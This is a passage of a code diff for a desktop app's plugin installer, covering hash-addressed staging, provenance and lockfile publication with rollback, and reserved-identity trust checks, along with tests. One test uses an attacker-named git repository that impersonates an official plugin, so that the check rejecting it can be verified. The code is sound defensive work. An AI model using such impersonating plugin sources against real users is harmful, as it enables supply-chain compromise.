readPluginInstallProvenance,
|
||||
writePluginInstallProvenance
|
||||
} from './plugin-install-provenance'
|
||||
|
||||
/** Publishes executable identity and provenance as one recoverable mutation,
|
||||
* then retains only current plus one rollback version. */
|
||||
export async function publishPluginInstall(input: {
|
||||
pluginsDir: string
|
||||
pluginDir: string
|
||||
entry: PluginLockEntry
|
||||
}): Promise<void> {
|
||||
const previousContentHash = await readPluginCurrentPointer(input.pluginDir)
|
||||
const currentLock = await readPluginLockfile(input.pluginsDir)
|
||||
const provenanceCandidate =
|
||||
previousContentHash === input.entry.contentHash
|
||||
? await readPluginInstallProvenance(input.pluginDir, input.entry.contentHash)
|
||||
: null
|
||||
const matchesCurrentIdentity = (entry: PluginLockEntry | undefined | null): boolean =>
|
||||
entry?.pluginKey === input.entry.pluginKey && entry.contentHash === input.entry.contentHash
|
||||
const existingProvenance = matchesCurrentIdentity(provenanceCandidate)
|
||||
? provenanceCandidate
|
||||
: null
|
||||
const legacyLockEntry = currentLock.plugins[input.entry.pluginKey]
|
||||
const legacyCurrentEntry =
|
||||
previousContentHash === input.entry.contentHash && matchesCurrentIdentity(legacyLockEntry)
|
||||
? legacyLockEntry
|
||||
: null
|
||||
// Provenance is immutable per executable identity. A same-byte reinstall
|
||||
// is a no-op so a failed or interrupted source change cannot be recovered
|
||||
// later as though it had successfully published.
|
||||
const publishedEntry = existingProvenance ?? legacyCurrentEntry ?? input.entry
|
||||
const nextLock = upsertPluginLock(currentLock, publishedEntry)
|
||||
// Why: after a crash between pointer and global-index publication, startup
|
||||
// can reconstruct exact source/commit identity from this immutable record.
|
||||
if (!existingProvenance) {
|
||||
await writePluginInstallProvenance(input.pluginDir, publishedEntry)
|
||||
}
|
||||
await writePluginCurrentPointer(input.pluginDir, input.entry.contentHash)
|
||||
try {
|
||||
await writePluginLockfile(input.pluginsDir, nextLock)
|
||||
} catch (publicationError) {
|
||||
try {
|
||||
await restorePluginCurrentPointer(input.pluginDir, previousContentHash)
|
||||
} catch (rollbackError) {
|
||||
throw new AggregateError(
|
||||
[publicationError, rollbackError],
|
||||
'plugin install publication and pointer rollback both failed'
|
||||
)
|
||||
}
|
||||
throw publicationError
|
||||
}
|
||||
// Reinstalling B must not collapse an existing A rollback into {B}.
|
||||
if (previousContentHash !== input.entry.contentHash) {
|
||||
await pruneHistoricalVersions(
|
||||
input.pluginDir,
|
||||
new Set(
|
||||
[input.entry.contentHash, previousContentHash].filter(
|
||||
(hash): hash is string =>
|
||||
typeof hash === 'string' && PLUGIN_CONTENT_HASH_PATTERN.test(hash)
|
||||
)
|
||||
)
|
||||
).catch(() => undefined)
|
||||
}
|
||||
}
|
||||
|
||||
async function pruneHistoricalVersions(pluginDir: string, retained: ReadonlySet<string>) {
|
||||
const entries = await readdir(pluginDir, { withFileTypes: true })
|
||||
await Promise.all(
|
||||
entries
|
||||
.filter(
|
||||
(entry) =>
|
||||
entry.isDirectory() &&
|
||||
PLUGIN_CONTENT_HASH_PATTERN.test(entry.name) &&
|
||||
!retained.has(entry.name)
|
||||
)
|
||||
.map((entry) => rm(join(pluginDir, entry.name), { recursive: true, force: true }))
|
||||
)
|
||||
await prunePluginInstallProvenance(pluginDir, retained)
|
||||
}
|
||||
|
|
@ -0,0 +1,253 @@
|
|||
import { existsSync } from 'node:fs'
|
||||
import { cp, mkdir, rm } from 'node:fs/promises'
|
||||
import { join, relative, resolve, sep } from 'node:path'
|
||||
import {
|
||||
PLUGIN_MANIFEST_FILENAME,
|
||||
parsePluginManifest,
|
||||
qualifiedPluginKey,
|
||||
satisfiesOrcaEngineRange,
|
||||
type PluginManifest
|
||||
} from '../../shared/plugins/plugin-manifest'
|
||||
import { fingerprintPluginConsent } from '../../shared/plugins/plugin-consent-fingerprint'
|
||||
import type {
|
||||
PluginInstallSource,
|
||||
PluginLockEntry
|
||||
} from '../../shared/plugins/plugin-install-lockfile'
|
||||
import {
|
||||
validateDeclaredPluginArtifacts,
|
||||
validatePluginInstallContent,
|
||||
type PluginArtifactValidationResult
|
||||
} from './plugin-artifact-validation'
|
||||
import { renamePluginFileWithWindowsRetry } from './plugin-atomic-file-write'
|
||||
import { hashPluginTree } from './plugin-content-hash'
|
||||
import { publishPluginInstall } from './plugin-install-publication'
|
||||
import { readPluginManifestText } from './plugin-manifest-file'
|
||||
import { pluginInstallTrustError } from './plugin-install-trust'
|
||||
|
||||
export type PluginInstallResult =
|
||||
| {
|
||||
ok: true
|
||||
pluginKey: string
|
||||
version: string
|
||||
contentHash: string
|
||||
consentFingerprint: string
|
||||
resolvedCommit: string | null
|
||||
}
|
||||
| { ok: false; error: string }
|
||||
|
||||
export type PluginInstallInspection =
|
||||
| {
|
||||
ok: true
|
||||
manifest: PluginManifest
|
||||
pluginKey: string
|
||||
contentHash: string
|
||||
consentFingerprint: string
|
||||
}
|
||||
| { ok: false; error: string }
|
||||
|
||||
async function validatePluginInstallTree(
|
||||
rootDir: string,
|
||||
manifest: PluginManifest
|
||||
): Promise<PluginArtifactValidationResult> {
|
||||
const declared = await validateDeclaredPluginArtifacts(rootDir, manifest)
|
||||
return declared.ok ? validatePluginInstallContent(rootDir, manifest) : declared
|
||||
}
|
||||
|
||||
async function readInstallManifest(
|
||||
rootDir: string,
|
||||
hostVersion: string
|
||||
): Promise<{ ok: true; manifest: PluginManifest } | { ok: false; error: string }> {
|
||||
let raw: unknown
|
||||
try {
|
||||
raw = JSON.parse(await readPluginManifestText(rootDir))
|
||||
} catch (error) {
|
||||
return {
|
||||
ok: false,
|
||||
error: `unreadable ${PLUGIN_MANIFEST_FILENAME}: ${error instanceof Error ? error.message : String(error)}`
|
||||
}
|
||||
}
|
||||
const parsed = parsePluginManifest(raw)
|
||||
if (!parsed.ok) {
|
||||
return { ok: false, error: `invalid manifest: ${parsed.error}` }
|
||||
}
|
||||
if (!satisfiesOrcaEngineRange(hostVersion, parsed.manifest.engines.orca)) {
|
||||
return {
|
||||
ok: false,
|
||||
error: `plugin requires Orca ${parsed.manifest.engines.orca} (this is ${hostVersion})`
|
||||
}
|
||||
}
|
||||
return { ok: true, manifest: parsed.manifest }
|
||||
}
|
||||
|
||||
/** Validates and hashes a source tree without publishing it. Marketplace
|
||||
* previews use this exact path so the reviewed bytes match install policy. */
|
||||
export async function inspectPluginInstallTree(input: {
|
||||
rootDir: string
|
||||
hostVersion: string
|
||||
expectedPluginKey?: string
|
||||
}): Promise<PluginInstallInspection> {
|
||||
const sourceManifest = await readInstallManifest(input.rootDir, input.hostVersion)
|
||||
if (!sourceManifest.ok) {
|
||||
return sourceManifest
|
||||
}
|
||||
const pluginKey = qualifiedPluginKey(sourceManifest.manifest)
|
||||
if (input.expectedPluginKey && pluginKey !== input.expectedPluginKey) {
|
||||
return {
|
||||
ok: false,
|
||||
error: `plugin manifest identity ${pluginKey} does not match marketplace listing ${input.expectedPluginKey}`
|
||||
}
|
||||
}
|
||||
const declaredArtifacts = await validatePluginInstallTree(input.rootDir, sourceManifest.manifest)
|
||||
if (!declaredArtifacts.ok) {
|
||||
return { ok: false, error: `invalid declared artifact: ${declaredArtifacts.error}` }
|
||||
}
|
||||
const treeHash = await hashPluginTree(input.rootDir)
|
||||
if (!treeHash.ok) {
|
||||
return { ok: false, error: treeHash.error }
|
||||
}
|
||||
return {
|
||||
ok: true,
|
||||
manifest: sourceManifest.manifest,
|
||||
pluginKey,
|
||||
contentHash: treeHash.hash,
|
||||
consentFingerprint: fingerprintPluginConsent(sourceManifest.manifest, treeHash.hash)
|
||||
}
|
||||
}
|
||||
|
||||
/** Installs a validated staging tree into the hash-addressed layout. */
|
||||
export async function installStagedPluginTree(input: {
|
||||
pluginsDir: string
|
||||
stagingDir: string
|
||||
hostVersion: string
|
||||
source: PluginInstallSource
|
||||
resolvedCommit: string | null
|
||||
expectedPluginKey?: string
|
||||
/** Trusted bundled bytes may restore an immutable directory damaged on disk. */
|
||||
repairCorruptedVersion?: boolean
|
||||
blockedPluginReason?: (pluginKey: string) => string | null
|
||||
}): Promise<PluginInstallResult> {
|
||||
const sourceInspection = await inspectPluginInstallTree({
|
||||
rootDir: input.stagingDir,
|
||||
hostVersion: input.hostVersion,
|
||||
...(input.expectedPluginKey ? { expectedPluginKey: input.expectedPluginKey } : {})
|
||||
})
|
||||
if (!sourceInspection.ok) {
|
||||
return sourceInspection
|
||||
}
|
||||
const trustError = pluginInstallTrustError(sourceInspection.pluginKey, input.source)
|
||||
if (trustError) {
|
||||
return { ok: false, error: trustError }
|
||||
}
|
||||
const blockedReason = input.blockedPluginReason?.(sourceInspection.pluginKey)
|
||||
if (blockedReason) {
|
||||
return { ok: false, error: `plugin is blocked by Orca's safety list: ${blockedReason}` }
|
||||
}
|
||||
let manifest = sourceInspection.manifest
|
||||
const pluginKey = sourceInspection.pluginKey
|
||||
const pluginDir = join(input.pluginsDir, pluginKey)
|
||||
const versionDir = join(pluginDir, sourceInspection.contentHash)
|
||||
if (existsSync(versionDir) && input.repairCorruptedVersion) {
|
||||
const existingHash = await hashPluginTree(versionDir)
|
||||
if (!existingHash.ok || existingHash.hash !== sourceInspection.contentHash) {
|
||||
// Why: bundled resources are release-index verified above, so they can
|
||||
// safely restore a damaged immutable install instead of staying broken.
|
||||
await rm(versionDir, { recursive: true, force: true })
|
||||
}
|
||||
}
|
||||
if (!existsSync(versionDir)) {
|
||||
const stagedVersionDir = `${versionDir}.staging`
|
||||
try {
|
||||
await rm(stagedVersionDir, { recursive: true, force: true })
|
||||
await mkdir(pluginDir, { recursive: true })
|
||||
// Source trees can change while copying. Hashing the destination closes
|
||||
// that race before the immutable directory becomes current.
|
||||
const stagingRoot = resolve(input.stagingDir)
|
||||
await cp(stagingRoot, stagedVersionDir, {
|
||||
recursive: true,
|
||||
verbatimSymlinks: true,
|
||||
// Source-control metadata is not plugin content. Skip it at the copy
|
||||
// boundary so a large local repository cannot bypass install limits.
|
||||
filter: (source) => {
|
||||
const fromRoot = relative(stagingRoot, resolve(source))
|
||||
return fromRoot !== '.git' && !fromRoot.startsWith(`.git${sep}`)
|
||||
}
|
||||
})
|
||||
const copiedHash = await hashPluginTree(stagedVersionDir)
|
||||
if (!copiedHash.ok || copiedHash.hash !== sourceInspection.contentHash) {
|
||||
return {
|
||||
ok: false,
|
||||
error: copiedHash.ok
|
||||
? 'plugin content changed while it was being copied'
|
||||
: copiedHash.error
|
||||
}
|
||||
}
|
||||
const copiedManifest = await readInstallManifest(stagedVersionDir, input.hostVersion)
|
||||
if (!copiedManifest.ok) {
|
||||
return { ok: false, error: `copied ${copiedManifest.error}` }
|
||||
}
|
||||
if (qualifiedPluginKey(copiedManifest.manifest) !== pluginKey) {
|
||||
return { ok: false, error: 'plugin manifest identity changed while it was being staged' }
|
||||
}
|
||||
manifest = copiedManifest.manifest
|
||||
const copiedArtifacts = await validatePluginInstallTree(stagedVersionDir, manifest)
|
||||
if (!copiedArtifacts.ok) {
|
||||
return { ok: false, error: `copied artifact validation failed: ${copiedArtifacts.error}` }
|
||||
}
|
||||
await renamePluginFileWithWindowsRetry(stagedVersionDir, versionDir)
|
||||
} catch (error) {
|
||||
return { ok: false, error: error instanceof Error ? error.message : String(error) }
|
||||
} finally {
|
||||
await rm(stagedVersionDir, { recursive: true, force: true })
|
||||
}
|
||||
} else {
|
||||
// Never repoint at an existing hash directory without proving its bytes;
|
||||
// a previous partial/tampered install must not be revived by reinstall.
|
||||
const existingHash = await hashPluginTree(versionDir)
|
||||
if (!existingHash.ok || existingHash.hash !== sourceInspection.contentHash) {
|
||||
return {
|
||||
ok: false,
|
||||
error: existingHash.ok
|
||||
? 'existing plugin content failed integrity verification'
|
||||
: existingHash.error
|
||||
}
|
||||
}
|
||||
const existingManifest = await readInstallManifest(versionDir, input.hostVersion)
|
||||
if (!existingManifest.ok) {
|
||||
return { ok: false, error: `installed ${existingManifest.error}` }
|
||||
}
|
||||
if (qualifiedPluginKey(existingManifest.manifest) !== pluginKey) {
|
||||
return { ok: false, error: 'installed plugin manifest identity does not match its directory' }
|
||||
}
|
||||
manifest = existingManifest.manifest
|
||||
const existingArtifacts = await validatePluginInstallTree(versionDir, manifest)
|
||||
if (!existingArtifacts.ok) {
|
||||
return {
|
||||
ok: false,
|
||||
error: `installed artifact validation failed: ${existingArtifacts.error}`
|
||||
}
|
||||
}
|
||||
}
|
||||
const consentFingerprint = fingerprintPluginConsent(manifest, sourceInspection.contentHash)
|
||||
const entry: PluginLockEntry = {
|
||||
pluginKey,
|
||||
version: manifest.version,
|
||||
source: input.source,
|
||||
resolvedCommit: input.resolvedCommit,
|
||||
contentHash: sourceInspection.contentHash,
|
||||
consentFingerprint,
|
||||
installedAt: Date.now()
|
||||
}
|
||||
try {
|
||||
await publishPluginInstall({ pluginsDir: input.pluginsDir, pluginDir, entry })
|
||||
} catch (error) {
|
||||
return { ok: false, error: error instanceof Error ? error.message : String(error) }
|
||||
}
|
||||
return {
|
||||
ok: true,
|
||||
pluginKey,
|
||||
version: manifest.version,
|
||||
contentHash: sourceInspection.contentHash,
|
||||
consentFingerprint,
|
||||
resolvedCommit: input.resolvedCommit
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,115 @@
|
|||
import { mkdtemp, rm, writeFile } from 'node:fs/promises'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { afterEach, describe, expect, it } from 'vitest'
|
||||
import type { PluginInstallSource } from '../../shared/plugins/plugin-install-lockfile'
|
||||
import {
|
||||
installBundledPlugin,
|
||||
installPluginFromLocalPath,
|
||||
readPluginLockfile
|
||||
} from './plugin-install'
|
||||
import { pluginInstallTrustError } from './plugin-install-trust'
|
||||
|
||||
const roots: string[] = []
|
||||
|
||||
async function tempRoot(prefix: string): Promise<string> {
|
||||
const root = await mkdtemp(join(tmpdir(), prefix))
|
||||
roots.push(root)
|
||||
return root
|
||||
}
|
||||
|
||||
async function writePlugin(root: string, publisher: string, id: string): Promise<void> {
|
||||
await writeFile(
|
||||
join(root, 'orca-plugin.json'),
|
||||
JSON.stringify({
|
||||
manifestVersion: 1,
|
||||
id,
|
||||
publisher,
|
||||
name: 'Plugin',
|
||||
version: '1.0.0',
|
||||
engines: { orca: '>=1.0.0' },
|
||||
pluginApi: 1,
|
||||
capabilities: []
|
||||
})
|
||||
)
|
||||
}
|
||||
|
||||
afterEach(async () => {
|
||||
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
|
||||
})
|
||||
|
||||
describe('plugin install trust', () => {
|
||||
it.each<[PluginInstallSource, string | null]>([
|
||||
[
|
||||
{
|
||||
kind: 'git',
|
||||
url: 'https://github.com/attacker/orca-secrets.git',
|
||||
ref: 'main'
|
||||
},
|
||||
'reserved plugin identity community.orca-secrets must resolve to the stablyai organization'
|
||||
],
|
||||
[
|
||||
{
|
||||
kind: 'git',
|
||||
url: 'git@github.com:stablyai/orca-secrets.git',
|
||||
ref: 'main'
|
||||
},
|
||||
null
|
||||
]
|
||||
])('enforces reserved source organization', (source, expected) => {
|
||||
expect(pluginInstallTrustError('community.orca-secrets', source)).toBe(expected)
|
||||
})
|
||||
|
||||
it('rejects locally installed reserved identities before publication', async () => {
|
||||
const sourcePath = await tempRoot('orca-reserved-plugin-')
|
||||
const pluginsDir = await tempRoot('orca-plugin-installs-')
|
||||
await writePlugin(sourcePath, 'stablyai', 'orca-skills')
|
||||
|
||||
await expect(
|
||||
installPluginFromLocalPath({ pluginsDir, sourcePath, hostVersion: '1.4.0' })
|
||||
).resolves.toEqual({
|
||||
ok: false,
|
||||
error: 'reserved plugin identity stablyai.orca-skills cannot be installed from a local path'
|
||||
})
|
||||
await expect(readPluginLockfile(pluginsDir)).resolves.toEqual({ version: 1, plugins: {} })
|
||||
})
|
||||
|
||||
it('allows the app-bundled path only for the complete official identity', async () => {
|
||||
const sourcePath = await tempRoot('orca-bundled-plugin-')
|
||||
const pluginsDir = await tempRoot('orca-plugin-installs-')
|
||||
await writePlugin(sourcePath, 'stablyai', 'orca-skills')
|
||||
|
||||
const result = await installBundledPlugin({
|
||||
pluginsDir,
|
||||
sourcePath,
|
||||
hostVersion: '1.4.0',
|
||||
expectedPluginKey: 'stablyai.orca-skills'
|
||||
})
|
||||
|
||||
expect(result).toMatchObject({ ok: true, pluginKey: 'stablyai.orca-skills' })
|
||||
const lock = await readPluginLockfile(pluginsDir)
|
||||
expect(lock.plugins['stablyai.orca-skills']?.source).toEqual({
|
||||
kind: 'bundled',
|
||||
bundleId: 'stablyai.orca-skills'
|
||||
})
|
||||
})
|
||||
|
||||
it('blocks a killed plugin even when the caller bypasses marketplace UI', async () => {
|
||||
const sourcePath = await tempRoot('orca-killed-plugin-')
|
||||
const pluginsDir = await tempRoot('orca-plugin-installs-')
|
||||
await writePlugin(sourcePath, 'community', 'unsafe')
|
||||
|
||||
await expect(
|
||||
installPluginFromLocalPath({
|
||||
pluginsDir,
|
||||
sourcePath,
|
||||
hostVersion: '1.4.0',
|
||||
blockedPluginReason: (pluginKey) =>
|
||||
pluginKey === 'community.unsafe' ? 'Security incident' : null
|
||||
})
|
||||
).resolves.toEqual({
|
||||
ok: false,
|
||||
error: "plugin is blocked by Orca's safety list: Security incident"
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,27 @@
|
|||
import type { PluginInstallSource } from '../../shared/plugins/plugin-install-lockfile'
|
||||
import {
|
||||
isOfficialOrganizationGitSource,
|
||||
isOfficialPluginIdentity,
|
||||
isReservedPluginIdentity
|
||||
} from '../../shared/plugins/plugin-marketplace'
|
||||
|
||||
export function pluginInstallTrustError(
|
||||
pluginKey: string,
|
||||
source: PluginInstallSource
|
||||
): string | null {
|
||||
if (source.kind === 'bundled') {
|
||||
return source.bundleId === pluginKey && isOfficialPluginIdentity(pluginKey)
|
||||
? null
|
||||
: 'bundled plugins must use an official stablyai.orca-* identity'
|
||||
}
|
||||
if (!isReservedPluginIdentity(pluginKey)) {
|
||||
return null
|
||||
}
|
||||
if (source.kind === 'local-path') {
|
||||
return `reserved plugin identity ${pluginKey} cannot be installed from a local path`
|
||||
}
|
||||
const url = source.kind === 'git' ? source.url : source.plugin.url
|
||||
return isOfficialOrganizationGitSource(url)
|
||||
? null
|
||||
: `reserved plugin identity ${pluginKey} must resolve to the stablyai organization`
|
||||
}
|
||||
|
|
@ -0,0 +1,531 @@
|
|||
import { execFile } from 'node:child_process'
|
||||
import {
|
||||
mkdtemp,
|
||||
mkdir,
|
||||
readFile,
|
||||
readdir,
|
||||
rm,
|
||||
symlink,
|
||||
truncate,
|
||||
writeFile
|
||||
} from 'node:fs/promises'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { pathToFileURL } from 'node:url'
|
||||
import { promisify } from 'node:util'
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest'
|
||||
import {
|
||||
installPluginFromLocalPath,
|
||||
installPluginFromGit,
|
||||
PLUGIN_LOCKFILE_MAX_BYTES,
|
||||
readPluginLockfile,
|
||||
removeInstalledPlugin
|
||||
} from './plugin-install'
|
||||
import { PLUGIN_MANIFEST_MAX_BYTES } from './plugin-manifest-file'
|
||||
import { readPluginCurrentPointer } from './plugin-current-pointer'
|
||||
import { writePluginLockfile } from './plugin-install-lockfile-store'
|
||||
import { installStagedPluginTree } from './plugin-install-staging'
|
||||
import * as manifestFile from './plugin-manifest-file'
|
||||
|
||||
const roots: string[] = []
|
||||
const execFileAsync = promisify(execFile)
|
||||
|
||||
async function tempRoot(prefix: string): Promise<string> {
|
||||
const root = await mkdtemp(join(tmpdir(), prefix))
|
||||
roots.push(root)
|
||||
return root
|
||||
}
|
||||
|
||||
async function writePluginSource(
|
||||
root: string,
|
||||
options: { id?: string; panelEntry?: string; includePanel?: boolean } = {}
|
||||
): Promise<void> {
|
||||
const panelEntry = options.panelEntry ?? 'panel.html'
|
||||
await writeFile(
|
||||
join(root, 'orca-plugin.json'),
|
||||
JSON.stringify({
|
||||
manifestVersion: 1,
|
||||
id: options.id ?? 'demo',
|
||||
publisher: 'orca-samples',
|
||||
name: 'Demo',
|
||||
version: '1.0.0',
|
||||
engines: { orca: '>=1.0.0' },
|
||||
pluginApi: 1,
|
||||
contributes: {
|
||||
panels: [{ id: 'panel', title: 'Panel', entry: panelEntry }],
|
||||
commands: [],
|
||||
events: []
|
||||
},
|
||||
capabilities: []
|
||||
})
|
||||
)
|
||||
if (options.includePanel !== false) {
|
||||
await writeFile(join(root, panelEntry), '<h1>Panel</h1>')
|
||||
}
|
||||
}
|
||||
|
||||
afterEach(async () => {
|
||||
vi.restoreAllMocks()
|
||||
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
|
||||
})
|
||||
|
||||
describe('installPluginFromLocalPath', () => {
|
||||
it('refuses to allocate an oversized install lockfile', async () => {
|
||||
const pluginsDir = await tempRoot('orca-plugin-installs-')
|
||||
const lockPath = join(pluginsDir, 'plugins.lock.json')
|
||||
await writeFile(lockPath, '')
|
||||
await truncate(lockPath, PLUGIN_LOCKFILE_MAX_BYTES + 1)
|
||||
|
||||
await expect(readPluginLockfile(pluginsDir)).resolves.toEqual({ version: 1, plugins: {} })
|
||||
})
|
||||
|
||||
it('verifies copied content and writes a rollback-compatible consent field', async () => {
|
||||
const sourcePath = await tempRoot('orca-plugin-source-')
|
||||
const pluginsDir = await tempRoot('orca-plugin-installs-')
|
||||
await writePluginSource(sourcePath)
|
||||
|
||||
const result = await installPluginFromLocalPath({
|
||||
pluginsDir,
|
||||
sourcePath,
|
||||
hostVersion: '1.4.0'
|
||||
})
|
||||
|
||||
expect(result.ok).toBe(true)
|
||||
if (!result.ok) {
|
||||
return
|
||||
}
|
||||
await expect(
|
||||
readFile(join(pluginsDir, result.pluginKey, result.contentHash, 'panel.html'), 'utf8')
|
||||
).resolves.toBe('<h1>Panel</h1>')
|
||||
const lock = JSON.parse(await readFile(join(pluginsDir, 'plugins.lock.json'), 'utf8')) as {
|
||||
plugins: Record<string, Record<string, unknown>>
|
||||
}
|
||||
expect(lock.plugins[result.pluginKey]).toMatchObject({
|
||||
capabilityHash: result.consentFingerprint
|
||||
})
|
||||
expect(lock.plugins[result.pluginKey]).not.toHaveProperty('consentFingerprint')
|
||||
})
|
||||
|
||||
it('publishes metadata from the copied immutable manifest', async () => {
|
||||
const sourcePath = await tempRoot('orca-plugin-source-')
|
||||
const pluginsDir = await tempRoot('orca-plugin-installs-')
|
||||
await writePluginSource(sourcePath)
|
||||
const firstManifest = await readFile(join(sourcePath, 'orca-plugin.json'), 'utf8')
|
||||
const changedManifest = {
|
||||
...(JSON.parse(firstManifest) as Record<string, unknown>),
|
||||
name: 'Changed During Staging',
|
||||
version: '2.0.0'
|
||||
}
|
||||
await writeFile(join(sourcePath, 'orca-plugin.json'), JSON.stringify(changedManifest))
|
||||
const manifestRead = vi
|
||||
.spyOn(manifestFile, 'readPluginManifestText')
|
||||
.mockResolvedValueOnce(firstManifest)
|
||||
|
||||
const result = await installStagedPluginTree({
|
||||
pluginsDir,
|
||||
stagingDir: sourcePath,
|
||||
hostVersion: '1.4.0',
|
||||
source: { kind: 'local-path', path: sourcePath },
|
||||
resolvedCommit: null
|
||||
})
|
||||
|
||||
expect(manifestRead).toHaveBeenCalledTimes(2)
|
||||
expect(result).toMatchObject({ ok: true, version: '2.0.0' })
|
||||
if (result.ok) {
|
||||
const lock = await readPluginLockfile(pluginsDir)
|
||||
expect(lock.plugins[result.pluginKey]?.version).toBe('2.0.0')
|
||||
}
|
||||
})
|
||||
|
||||
it('skips root Git metadata before copying while still enforcing plugin limits', async () => {
|
||||
const sourcePath = await tempRoot('orca-plugin-source-')
|
||||
const pluginsDir = await tempRoot('orca-plugin-installs-')
|
||||
await writePluginSource(sourcePath)
|
||||
const gitDir = join(sourcePath, '.git')
|
||||
await mkdir(gitDir)
|
||||
await writeFile(join(gitDir, 'large.pack'), '')
|
||||
await truncate(join(gitDir, 'large.pack'), 50 * 1024 * 1024 + 1)
|
||||
|
||||
const result = await installPluginFromLocalPath({
|
||||
pluginsDir,
|
||||
sourcePath,
|
||||
hostVersion: '1.4.0'
|
||||
})
|
||||
|
||||
expect(result).toMatchObject({ ok: true })
|
||||
if (result.ok) {
|
||||
await expect(
|
||||
readFile(join(pluginsDir, result.pluginKey, result.contentHash, '.git', 'large.pack'))
|
||||
).rejects.toMatchObject({ code: 'ENOENT' })
|
||||
}
|
||||
})
|
||||
|
||||
it('restores the previous current pointer when lockfile publication fails', async () => {
|
||||
const sourcePath = await tempRoot('orca-plugin-source-')
|
||||
const pluginsDir = await tempRoot('orca-plugin-installs-')
|
||||
await writePluginSource(sourcePath)
|
||||
const first = await installPluginFromLocalPath({ pluginsDir, sourcePath, hostVersion: '1.4.0' })
|
||||
expect(first.ok).toBe(true)
|
||||
if (!first.ok) {
|
||||
return
|
||||
}
|
||||
await writeFile(join(sourcePath, 'panel.html'), '<h1>Updated</h1>')
|
||||
await rm(join(pluginsDir, 'plugins.lock.json'))
|
||||
await mkdir(join(pluginsDir, 'plugins.lock.json'))
|
||||
|
||||
const failed = await installPluginFromLocalPath({
|
||||
pluginsDir,
|
||||
sourcePath,
|
||||
hostVersion: '1.4.0'
|
||||
})
|
||||
|
||||
expect(failed).toMatchObject({ ok: false })
|
||||
await expect(readPluginCurrentPointer(join(pluginsDir, first.pluginKey))).resolves.toBe(
|
||||
first.contentHash
|
||||
)
|
||||
})
|
||||
|
||||
it('does not replace provenance when a same-content reinstall fails to publish', async () => {
|
||||
const firstSource = await tempRoot('orca-plugin-source-')
|
||||
const secondSource = await tempRoot('orca-plugin-source-')
|
||||
const pluginsDir = await tempRoot('orca-plugin-installs-')
|
||||
await writePluginSource(firstSource)
|
||||
await writePluginSource(secondSource)
|
||||
const first = await installPluginFromLocalPath({
|
||||
pluginsDir,
|
||||
sourcePath: firstSource,
|
||||
hostVersion: '1.4.0'
|
||||
})
|
||||
expect(first.ok).toBe(true)
|
||||
if (!first.ok) {
|
||||
return
|
||||
}
|
||||
const acceptedLock = await readFile(join(pluginsDir, 'plugins.lock.json'), 'utf8')
|
||||
await rm(join(pluginsDir, 'plugins.lock.json'))
|
||||
await mkdir(join(pluginsDir, 'plugins.lock.json'))
|
||||
|
||||
const failed = await installPluginFromLocalPath({
|
||||
pluginsDir,
|
||||
sourcePath: secondSource,
|
||||
hostVersion: '1.4.0'
|
||||
})
|
||||
expect(failed).toMatchObject({ ok: false })
|
||||
|
||||
await rm(join(pluginsDir, 'plugins.lock.json'), { recursive: true })
|
||||
await writeFile(join(pluginsDir, 'plugins.lock.json'), acceptedLock)
|
||||
const recovered = await readPluginLockfile(pluginsDir)
|
||||
expect(recovered.plugins[first.pluginKey]?.source).toEqual({
|
||||
kind: 'local-path',
|
||||
path: firstSource
|
||||
})
|
||||
})
|
||||
|
||||
it('preserves legacy lock provenance during a same-content reinstall', async () => {
|
||||
const firstSource = await tempRoot('orca-plugin-source-')
|
||||
const secondSource = await tempRoot('orca-plugin-source-')
|
||||
const pluginsDir = await tempRoot('orca-plugin-installs-')
|
||||
await writePluginSource(firstSource)
|
||||
await writePluginSource(secondSource)
|
||||
const first = await installPluginFromLocalPath({
|
||||
pluginsDir,
|
||||
sourcePath: firstSource,
|
||||
hostVersion: '1.4.0'
|
||||
})
|
||||
expect(first.ok).toBe(true)
|
||||
if (!first.ok) {
|
||||
return
|
||||
}
|
||||
await rm(join(pluginsDir, first.pluginKey, '.install-provenance', `${first.contentHash}.json`))
|
||||
const reinstalled = await installPluginFromLocalPath({
|
||||
pluginsDir,
|
||||
sourcePath: secondSource,
|
||||
hostVersion: '1.4.0'
|
||||
})
|
||||
expect(reinstalled).toMatchObject({ ok: true })
|
||||
|
||||
// Recovery from the newly backfilled provenance must retain the accepted
|
||||
// legacy source rather than the same-byte reinstall's alternate source.
|
||||
await rm(join(pluginsDir, 'plugins.lock.json'))
|
||||
const recovered = await readPluginLockfile(pluginsDir)
|
||||
expect(recovered.plugins[first.pluginKey]?.source).toEqual({
|
||||
kind: 'local-path',
|
||||
path: firstSource
|
||||
})
|
||||
})
|
||||
|
||||
it('retains only the current and immediately previous content versions', async () => {
|
||||
const sourcePath = await tempRoot('orca-plugin-source-')
|
||||
const pluginsDir = await tempRoot('orca-plugin-installs-')
|
||||
await writePluginSource(sourcePath)
|
||||
const hashes: string[] = []
|
||||
for (const content of ['one', 'two', 'three']) {
|
||||
await writeFile(join(sourcePath, 'panel.html'), `<h1>${content}</h1>`)
|
||||
const result = await installPluginFromLocalPath({
|
||||
pluginsDir,
|
||||
sourcePath,
|
||||
hostVersion: '1.4.0'
|
||||
})
|
||||
expect(result.ok).toBe(true)
|
||||
if (result.ok) {
|
||||
hashes.push(result.contentHash)
|
||||
}
|
||||
}
|
||||
|
||||
const versionDirs = (
|
||||
await readdir(join(pluginsDir, 'orca-samples.demo'), {
|
||||
withFileTypes: true
|
||||
})
|
||||
)
|
||||
.filter((entry) => entry.isDirectory() && /^[0-9a-f]{64}$/.test(entry.name))
|
||||
.map((entry) => entry.name)
|
||||
.sort()
|
||||
expect(versionDirs).toEqual(hashes.slice(-2).sort())
|
||||
})
|
||||
|
||||
it('keeps the rollback version when current content is reinstalled', async () => {
|
||||
const sourcePath = await tempRoot('orca-plugin-source-')
|
||||
const pluginsDir = await tempRoot('orca-plugin-installs-')
|
||||
await writePluginSource(sourcePath)
|
||||
const hashes: string[] = []
|
||||
for (const content of ['one', 'two', 'two']) {
|
||||
await writeFile(join(sourcePath, 'panel.html'), `<h1>${content}</h1>`)
|
||||
const result = await installPluginFromLocalPath({
|
||||
pluginsDir,
|
||||
sourcePath,
|
||||
hostVersion: '1.4.0'
|
||||
})
|
||||
expect(result.ok).toBe(true)
|
